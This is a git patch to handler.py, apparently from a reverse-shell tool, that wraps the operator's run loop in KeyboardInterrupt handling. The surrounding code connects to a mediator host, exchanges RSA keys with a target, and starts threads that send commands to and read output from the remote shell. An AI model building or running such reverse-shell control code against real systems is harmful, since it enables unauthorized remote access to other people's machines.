From 7d49987dbf9389e9644089affbc614f01397e8c2 Mon Sep 17 00:00:00 2001 From: "C.J. May" Date: Fri, 17 Nov 2023 11:31:32 -0600 Subject: [PATCH] handle keyboardinterrupt --- handler.py | 41 ++++++++++++++++++++++------------------- 1 file changed, 22 insertions(+), 19 deletions(-) diff --git a/handler.py b/handler.py index 1cca4a7..05720b9 100644 --- a/handler.py +++ b/handler.py @@ -181,25 +181,28 @@ def connect(self, mediatorHost): exit(1) def run(self): - # connect to server and perform key exchange with target - print(f"Using connection key: {self.connectionKey}") - print("The above key should be changing each time you run this program.\n") - self.connect(self.mediatorHost) - self.privKey, self.pubKey = self.getRSA() - self.cipherKey = self.keyExchange() - # start I/O threads to control the reverse shell - readSignal = threading.Event() - readSignal.set() - operatorToShell = threading.Thread(target=self.sendCommands, args=[readSignal]) - operatorToShell.daemon = True - operatorToShell.start() - shellToOperator = threading.Thread(target=self.readResponses, args=[readSignal]) - shellToOperator.daemon = True - shellToOperator.start() - # wait for threads to join - operatorToShell.join() - self.stopReceiving = True - shellToOperator.join() + try: + # connect to server and perform key exchange with target + print(f"Using connection key: {self.connectionKey}") + print("The above key should be changing each time you run this program.\n") + self.connect(self.mediatorHost) + self.privKey, self.pubKey = self.getRSA() + self.cipherKey = self.keyExchange() + # start I/O threads to control the reverse shell + readSignal = threading.Event() + readSignal.set() + operatorToShell = threading.Thread(target=self.sendCommands, args=[readSignal]) + operatorToShell.daemon = True + operatorToShell.start() + shellToOperator = threading.Thread(target=self.readResponses, args=[readSignal]) + shellToOperator.daemon = True + shellToOperator.start() + # wait for threads to join + operatorToShell.join() + self.stopReceiving = True + shellToOperator.join() + except KeyboardInterrupt: + print("\n^C") print("Closing connection...") self.shell.close()